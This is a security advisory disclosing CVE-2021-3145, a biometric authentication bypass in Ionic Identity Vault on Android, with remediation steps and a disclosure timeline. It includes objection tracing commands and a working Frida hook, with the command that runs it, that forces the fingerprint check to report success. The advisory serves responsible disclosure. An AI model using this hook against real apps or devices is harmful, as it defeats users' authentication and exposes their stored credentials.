#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
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#
# Product: Identity Vault
# Vendor: Ionic
# CSNC ID: CSNC-2021-001
# CVE ID: CVE-2021-3145
# Subject: Biometric Authentication Bypass on Android
# Severity: Medium
# Effect: Authentication Bypass
# Author: Emanuel Duss <
# Date: 2021-09-06
#
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Introduction
------------
Ionic Identity Vault is a secure storage solution for Android
and iOS mobile
apps which can e.g. be used to store authentication information
like access
tokens [1]. This information can be protected, so that the user has
to
authenticate first, before the information is unlocked.
Identity Vault provides different authentication methods:
- Memory only storage (not persisted at all)
- Secure storage (without user authentication)
- Passcode (PIN) authentication
- Biometric authentication (optionally with device PIN
fallback)
During a customer project, we could bypass the biometric
authentication
mechanism of Ionic Identity Vault on Android, because the Android
KeyStore
entry does not require any authentication.
Affected
--------
- Vulnerable: Ionic Identity Vault <= 4.7
- Not vulnerable: Ionic Identity Vault >= 5
Technical Description
---------------------
# Key Unlock Method
When the user enables biometric authentication, the
`automaticallyCreateKey`
method is called:
# objection --gadget org.example.app explore \
--startup-command 'android hooking watch class
"com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \
--dump-args --dump-backtrace --dump-return'
[CUT BY COMPASS]
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.saveKey(android.content.Context,
javax.crypto.SecretKey)
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.automaticallyCreateKey()
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
This method creates a new KeyStore entry using the
`KeyGenParameterSpec.Builder` method:
@TargetApi(23)
private boolean automaticallyCreateKey() {
synchronized ("keyLock") {
boolean z = false;
try {
KeyStore.getInstance(EncryptionConstants.ANDROID_KEY_STORE).load(null);
KeyGenerator keyGenerator =
KeyGenerator.getInstance(this.mAlgorithm,
EncryptionConstants.ANDROID_KEY_STORE);
keyGenerator.init(new KeyGenParameterSpec.Builder(this.mKeyAlias,
3).setBlockModes(this.mBlockMode).setUserAuthenticationValidityDurationSeconds(this.mAuthDurationSeconds).setEncryptionPaddings(this.mPadding).build());
this.mSecretKey = keyGenerator.generateKey();
if (this.mSecretKey != null) {
z = true;
}
return z;
} catch (KeyStoreException e) {
[CUT BY COMPASS] // more catches
}
}
The `setUserAuthenticationRequired` method [2] is not used. This
means that the
user does not have to authenticate either via biometric
authentication
(fingerprint) or device PIN.
The KeyStore entry can therefore be used without user
authentication and does
not prompt the user for the fingerprint. Instead, another
functionality is used
to show the biometric authentication prompt to authenticate the
user.
# Biometric Authentication Prompt
When the user has to provide the fingerprint, the `loadKey` method is called:
# objection -gadget org.example.app explore \
--startup-command 'android hooking watch class
"com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \
--dump-args --dump-backtrace --dump-return'
[CUT BY COMPASS]
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.lock()
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
(agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
Before the `loadKey` method is used to load the key, the
method
`onBiometricActivityResult` is called:
# objection --gadget org.example.app explore \
--startup-command 'android hooking watch class_method
"com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey"
\
--dump-args --dump-backtrace --dump-return'
[CUT BY COMPASS]
(agent) [5363570796531] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
(agent) [5363570796531] Backtrace:
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(Native
Method)
com.bottlerocketstudios.vault.StandardSharedPreferenceVault.getString(StandardSharedPreferenceVault.java:212)
com.ionicframework.auth.IonicCombinedVault.unlock(IonicCombinedVault.java:322)
com.ionicframework.auth.IdentityVault.forceUnlock(IdentityVault.java:265)
com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(IonicNativeAuth.java:482)
com.ionicframework.auth.IonicNativeAuth.onActivityResult(IonicNativeAuth.java:472)
[CUT BY COMPASS]
This method `onBiometricActivityResult` takes the authentication
result as an
argument. When the `resultCode` is `-1`, authentication is
successful and the
`forceUnlock` method is called. Otherwise, the authentication
fails:
private void onBiometricActivityResult(int resultCode, Intent
intent) {
IdentityVault identityVault = this.mCurrentVault;
identityVault.doTheLifecycles = true;
this.mLockedOutOfBiometrics = false;
if (resultCode == -1) {
try {
identityVault.forceUnlock();
success(this.mLastCallbackContext);
} catch (VaultError e) {
error(this.mLastCallbackContext, e);
}
} else if (intent != null) {
[CUT BY COMPASS] // Authentication Failed
This can be seen in the backtrace when the authentication is successful:
# objection --gadget org.example.app explore \
--startup-command 'android hooking watch class_method
"com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult"
\
--dump-args --dump-backtrace --dump-return'
(agent) [6161244117830] Called
com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(int,
android.content.Intent)
(agent) [6161244117830] Backtrace:
com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(Native
Method)
[CUT BY COMPASS]
(agent) [6161244117830] Arguments
com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(-1,
"(none)")
(agent) [6161244117830] Return Value: "(none)"
Because the KeyStore entry does not require user authentication,
this method
can be hooked in order to bypass biometric authentication.
# Biometric Authentication Bypass Hook
The following Frida hook (`frida_hook_fingerprint_bypass.js`)
can be used to
bypass biometric authentication:
Java.perform(function x() {
var myclass =
Java.use("com.ionicframework.auth.IonicNativeAuth");
myclass.onBiometricActivityResult.implementation = function (a, b)
{
console.log("[*] Biometric Authentication Bypass Hook");
console.log("Class: com.ionicframework.auth.IonicNativeAuth");
console.log(" Method: onBiometricActivityResult");
console.log(" Parameter: " + a);
console.log("Change result from 0 to -1 in order to bypass
authentication.");
this.onBiometricActivityResult(-1, b); // This calls the method
always with -1
}
});
Executing the Frida hook:
# frida -U -f org.example.app -l frida_hook_fingerprint_bypass.js --no-pause
When the biometric authentication (fingerprit) dialogue appears,
the dialogue
can be cancelled by clicking somewhere besides the prompt.
The hook is then executed:
[Pixel 3::org.example.app]->
[*] Biometric Authentication Bypass Hook
Class: com.ionicframework.auth.IonicNativeAuth
Method: onBiometricActivityResult
Parameter: 0
Change result from 0 to -1 in order to bypass authentication.
The user is logged in without providing a valid fingerprint.
This also works if the Ionic Identity Vault configuration
`allowSystemPinFallback` is set to `false`.
It has to be noted, that the attacker has to be able to execute
code as root on
the phone to perform this attack.
Vulnerability Classification
----------------------------
CVSS v3.1 Metrics [3]:
- CVSS Base Score: 4.1 (Medium)
- CVSS Vector: AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Workaround / Fix
----------------
# Ionic Identity Vault Library Vendor
Ionic as the vendor of the Identity Vault library has to fix
this issue as
follows.
For the biometric authentication mechanism with device PIN fallback:
- The KeyStore setting `setUserAuthenticationRequired` should be
set to `true`
in order to enforce authentication (either with biometrics or the
device
PIN).
For the biometric authentication mechanism without device PIN fallback:
- The KeyStore setting `setUserAuthenticationRequired` should be
set to `true`
in order to enforce authentication.
- The KeyStore setting
`setUserAuthenticationValidityDurationSeconds ` should
be set to `-1` in order to enforce biometric authentication.
On Android >=11, the setting
`setUserAuthenticationValidityDurationSeconds` is
deprecated and `setUserAuthenticationParameters` should be set to
`0,1` instead
to enforce biometric authentication.
See the Android Developer Reference on
`KeyGenParameterSpec.Builder` for more
information [2].
# Ionic Identity Vault Library Users
Customers of the Ionic Identity Vault should use the updated version Identity Vault 5.
Acknowledgement
---------------
A very big thank you to my colleague Alex Joss for the support
in analyzing
this vulnerability. This was very interesting and I learned a
lot!
Timeline
--------
2020-12-11: Vulnerability discovered
2021-01-13: Requested CVE ID @ MITRE
2021-01-14: Opened ticket at Ionic
Asked for security contact via Twitter DM (@Ionicframework)
Assigned CVE-2021-3145
2021-01-15: Asked for security contact via Twitter & IRC (#ionic on
freenode)
2021-01-18: Got contact details via Twitter DM. Asked how to send
details
2021-01-20: Asked again how to send details
2021-01-21: Sent details via email. Ionic will discuss the issue
internally
2021-02-03: Asked for a status update
2021-02-09: Vendor confirmed vulnerability & will fix it in 90
days
2021-08-17: Asked for status since vendor did inform us
2021-08-19: Vendor told it should be fixed in version 5
2021-09-06: Coordinated public disclosure
References
----------
[1] https://ionic.io/docs/identity-vault
[2]
https://developer.android.com/reference/android/security/keystore/KeyGenParameterSpec.Builder
[3]
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N&version=3.1
